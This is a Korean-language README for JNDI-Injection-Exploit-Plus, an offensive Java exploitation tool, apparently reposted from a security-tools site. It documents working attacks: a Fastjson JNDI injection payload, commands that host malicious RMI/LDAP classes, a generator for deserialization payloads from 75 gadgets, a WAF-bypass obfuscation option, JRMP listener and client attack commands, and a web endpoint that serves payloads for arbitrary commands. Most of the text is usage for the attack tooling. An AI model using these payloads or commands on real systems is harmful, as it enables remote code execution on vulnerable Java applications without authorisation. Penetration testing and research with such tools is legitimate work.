JNDI-Injection-Exploit-Plus

중국어 README

설명

JNDI-Injection-Exploit-Plus는 작동 가능한 JNDI 링크를 생성하고 RMI 서버, LDAP 서버 및 HTTP 서버를 시작하여 백그라운드 서비스를 제공하는 도구입니다.

이 도구를 사용하면 JNDI 링크를 얻을 수 있으며, 이 링크를 POC에 삽입하여 취약점을 테스트할 수 있습니다.

예를 들어, 다음은 Fastjson 취약점 POC입니다:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

"rmi://127.0.0.1:1099/Object"를 JNDI-Injection-Exploit-Plus로 생성된 링크로 바꾸어 취약점을 테스트할 수 있습니다.

또한 JNDI-Injection-Exploit-Plus를 사용하여 ysoserial과 같은 base64/hex 유형의 페이로드를 생성할 수 있습니다.

JNDI-Injection-Exploit보다 더 많은 기능

JNDI-Injection-Exploit는 훌륭한 도구이며, 이것은 그 플러스 버전입니다.

추가 기능

1. 더 많은 JNDI 원격 참조 Gadget: (총 3개)

• JDK 6/7/8 지원

2. 더 많은 JNDI 로컬 참조 Gadget: (총 4개)

3. 역직렬화 Gadget (총 75개)

참고: ysoserial보다 더 많은 Gadget(⬆️ )이 있습니다. 더 많은 PR을 환영합니다! ^_^

4. 페이로드 생성 및 내보내기

ysoserial과 유사합니다.

Base64 또는 HEX 유형의 출력으로 역직렬화 페이로드를 생성할 수 있습니다.

5. 래퍼

역직렬 데이터를 래핑하는 몇 가지 래퍼입니다.

• 예제

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

6. 퓨전

클래스 이름을 숨겨 WAF를 우회합니다.

• 예제

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F

참고: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

역직렬 Gadget을 반환하는 웹 서비스

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar

POST /deserial/{Gadget}

cmd={command}&wrapper={wrapper}output={base64/hex}

참고: wrapper 및 output 매개변수는 선택 사항입니다.

사용법

JNDI 링크

다음과 같이 실행

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]

여기서:

• -C - 원격 클래스파일에서 실행되는 명령어.

  (선택 사항, 기본 명령어는 "open /Applications/Calculator.app")

• -A - 서버의 주소, IP 주소 또는 도메인일 수 있음.

  (선택 사항, 기본 주소는 첫 번째 네트워크 인터페이스 주소)

주의 사항:

• 서버의 포트(1099, 1389, 8180)가 사용 가능한지 확인하세요.

• 또는 run.ServerStart 클래스에서 기본 포트를 변경할 수 있습니다.

• 명령어는 **Runtime.getRuntime().exec()**의 매개변수로 전달됩니다.

• 따라서 명령어가 exec() 메서드에서 작동 가능한지 확인해야 합니다.

• "bash -c ...."와 같은 bash 명령어는 큰따옴표를 추가해야 합니다.

역직렬화 페이로드

다음과 같이 실행

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]

여기서:

• -C - 원격 클래스파일에서 실행되는 명령어.

  (선택 사항, 기본 명령어는 "open /Applications/Calculator.app")

• -D - 역직렬 Gadget 페이로드 이름.

• -O - (선택 사항) 역직렬 출력 유형, 기본값은 base64

역직렬화 공격

JRMP

• JRMPListener

java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc

• JRMPClient

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64

예제

JNDI 링크

로컬 데모:

1. 다음과 같이 도구를 시작합니다:

   root@kitploit:~

   $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
   

   스크린샷:

   

2. 1단계에서 생성된 rmi://ADDRESS/remoteExploit8과 같은 JNDI 링크를 JNDI 주입으로 공격 가능한 취약한 애플리케이션에 주입한다고 가정합니다.

   이 예에서는 다음과 같습니다:

   root@kitploit:~

   class Test{
       public static void main(String[] args) throws Exception{
           InitialContext ctx = new InitialContext();
           ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
       }
   }
   

   그러면 이 코드를 실행할 때 명령이 실행됩니다.

   그리고 쉘에 로그가 출력됩니다:

   

더 많은 예제: Test-JNDI-Injection-Exploit-Plus

역직렬화 페이로드

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

Base64 출력 결과:

설치

jar를 얻기 위해 두 가지 방법 중 하나를 선택할 수 있습니다.

1. Realease에서 최신 jar를 다운로드합니다.

2. 소스 코드를 로컬에 클론하고 빌드합니다 (Java 1.8+ 및 Maven 3.x+ 필요).

   root@kitploit:~

   $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
   

   root@kitploit:~

   $ cd JNDI-Injection-Exploit-Plus
   

   root@kitploit:~

   $ mvn clean package -DskipTests
   

참고. ‼️ "java.rmi.xxx does not exists"와 같은 오류가 발생하면 JAVA_HOME 환경 변수를 설정해야 합니다.

면책 조항

모든 정보와 코드는 교육 목적 및/또는 자신의 시스템에서 이러한 취약점을 테스트하기 위해서만 제공됩니다.